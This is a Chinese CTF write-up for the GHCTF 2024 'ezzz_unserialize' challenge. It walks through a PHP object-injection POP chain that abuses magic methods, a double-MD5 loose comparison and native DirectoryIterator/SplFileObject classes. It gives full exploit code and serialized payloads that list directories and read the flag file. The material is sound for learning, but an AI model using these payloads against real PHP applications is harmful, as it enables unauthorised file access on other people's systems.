[GHCTF 2024 新生赛]ezzz_unserialize

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
 <?php
/**
* @Author: hey
* @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
* Have fun and Good luck!!!
*/
error_reporting(0);
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}

}

class NoNo {
private $peach;

public function __construct($string) {
$this -> peach = $string;
}

public function __get($name) {
$var = $this -> $name;
$var[$name]();
}
}

class BasaraKing{
public $orange;
public $cherry;
public $arg1;
public function __call($arg1,$arg2){
$function = $this -> orange;
return $function();
}
public function __get($arg1)
{
$this -> cherry -> ll2('b2');
}

}

class UkyoTachibana{
public $banana;
public $mangosteen;

public function __toString()
{
$long = @$this -> banana -> add();
return $long;
}
public function __set($arg1,$arg2)
{
if($this -> mangosteen -> tt2)
{
echo "Sakura was the best!!!";
}
}
}

class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

class UesugiErii{
protected $coconut;

protected function addMe() {
return "My time with Sakura was my happiest time".$this -> coconut;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}

class MaiSakatoku{
public $Carambola;
private $Kiwifruit;

public function __set($name, $value)
{
$this -> $name = $value;
if ($this -> Kiwifruit = "Sakura"){
strtolower($this-> Carambola);
}
}
}

if(isset($_POST['GHCTF'])) {
unserialize($_POST['GHCTF']);
} else {
highlight_file(__FILE__);
}



1
2
3
4
5
6
7
8
9
10
11
class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

其中看到 E 这个类,在__get()魔术方法中调用了array_walk()函数,传入的第一个参数就是$this,就会遍历当前对象的所有属性,然后对每个属性调用回调函数,其中的$Monday是属性值,$Tuesday是属性名

在 PHP 中,array_walk() 是一个用于遍历数组并对每个元素应用自定义回调函数的内置函数,它可以直接修改数组元素(通过引用),核心作用是对数组的每个元素执行指定操作

举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Test{
public $test1 = "hello";
public $test2 = "world";

public function __get($arg1){
array_walk($this, function($a, $b){
echo $a."\n";
echo $b."\n";
});
}
}

$a = new Test();
$a->non_existent; // 触发__get()魔术方法
serialize($a);

image-20251216140100726

然后如果了解了一些 PHP 原生类的知识,回调函数中的代码就会感觉有点熟悉

1
2
3
4
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}

就比如使用原生类DirectoryIteratorFilesystemIteratorGlobIterator ,这些可以遍历目录的类

博客文章:https://blog.csdn.net/cjdgg/article/details/115314651

1
2
3
4
<?php
$dir = new DirectoryIterator('/CTF/网络安全学习笔记/漏洞');
echo $dir;
?>

会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名:

image-20251216141029570

如果想输出全部的文件名我们还需要对$dir对象进行遍历:

image-20251216140735541

这不就和回调函数中的代码一样嘛,所以这里就可以利用原生类来进行目录遍历,查看有哪些目录和文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Test{
public $test;

public function __get($arg1){
array_walk($this, function($a, $b){
echo $a."\n";
echo $b."\n";
$c = new $b($a);
foreach($c as $d){
echo $d."\n";
}
});
}
}

$a = new Test();
$a->DirectoryIterator = '/CTF/网络安全学习笔记/漏洞';
$a->non_existent;
serialize($a);

image-20251216141633854

除此之外还有可以读文件的原生类SplFileObject,也是一样,直接echo只会输出一行的内容

1
2
3
4
<?php
$content = new SplFileObject('/CTF/网络安全学习笔记/漏洞/PHP反序列化/PHP原生类/题目/[GHCTF 2024 新生赛]ezzz_unserialize/test.php');
echo $content;
?>

image-20251216142041377

所以也要利用foreach进行循环遍历

1
2
3
4
5
6
<?php
$content = new SplFileObject('/CTF/网络安全学习笔记/漏洞/PHP反序列化/PHP原生类/题目/[GHCTF 2024 新生赛]ezzz_unserialize/test.php');
foreach($content as $c){
echo $c."\n";
}
?>

image-20251216142227247

所以最后一步的EXP就知道怎么构造了

1
2
3
$E = new E();
$E->DirectoryIterator = "/";
// $E->SplFileObject = "/1_ffffffflllllagggggg";

然后就是往前找构造链子了,要触发__get()魔术方法的地方,就是调用不存在的成员属性,就是在Heraclqs类中的return $this -> grape -> hey;

1
2
3
4
5
6
7
8
9
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}

这里要找到一个经过双重MD5加密后是123开头的字符串

借鉴一下脚本:https://blog.csdn.net/liaochonxiang/article/details/140361138

1
2
3
4
5
6
7
8
9
10
11
import hashlib
import itertools
import string

for i in itertools.product(string.printable, repeat=3):
s = ''.join(i)
s1 = hashlib.md5(s.encode()).hexdigest()
s2 = hashlib.md5(s1.encode()).hexdigest()
if s2[:3] == '123':
print(s)

image-20251216144024126

所以这部分的EXP可以写成

1
2
3
$Heraclqs = new Heraclqs();
$Heraclqs->blueberry = "1xE";
$Heraclqs->grape = $E;

然后继续找触发__invoke的地方,就是以调用函数的方式调用一个对象,在Sakura类的__toString方法中,并且这个类的__destruct里的内容可以触发__toString魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}

}

这就是 POP 链的开头了,注意这里的apple要实例化的对象是Sakura类才会触发这个类的__toString,EXP:

1
2
3
$Sakura = new Sakura();
$Sakura->apple = $Sakura;
$Sakura->strawberry = $Heraclqs;

总结起来完整的EXP就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class Sakura{
public $apple;
public $strawberry;
}

class E{
public $e;
}

class Heraclqs{
public $grape;
public $blueberry;
}

$E = new E();
$E->DirectoryIterator = "/";
//$E->SplFileObject = "/1_ffffffflllllagggggg";

$Heraclqs = new Heraclqs();
$Heraclqs->blueberry = "1xE";
$Heraclqs->grape = $E;

$Sakura = new Sakura();
$Sakura->apple = $Sakura;
$Sakura->strawberry = $Heraclqs;

echo serialize($Sakura);

?>
1
O:6:"Sakura":2:{s:5:"apple";r:1;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:17:"DirectoryIterator";s:1:"/";}s:9:"blueberry";s:3:"1xE";}}

image-20251216145308407

然后用SplFileObject类读文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class Sakura{
public $apple;
public $strawberry;
}

class E{
public $e;
}

class Heraclqs{
public $grape;
public $blueberry;
}

$E = new E();
//$E->DirectoryIterator = "/";
$E->SplFileObject = "/1_ffffffflllllagggggg";

$Heraclqs = new Heraclqs();
$Heraclqs->blueberry = "1xE";
$Heraclqs->grape = $E;

$Sakura = new Sakura();
$Sakura->apple = $Sakura;
$Sakura->strawberry = $Heraclqs;

echo serialize($Sakura);

?>
1
O:6:"Sakura":2:{s:5:"apple";r:1;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:13:"SplFileObject";s:22:"/1_ffffffflllllagggggg";}s:9:"blueberry";s:3:"1xE";}}

image-20251216145920898


[GHCTF 2024 新生赛]ezzz_unserialize
https://yschen20.github.io/2025/12/16/GHCTF-2024-新生赛-ezzz-unserialize/
作者
Suzen
发布于
2025年12月16日
更新于
2025年12月16日
许可协议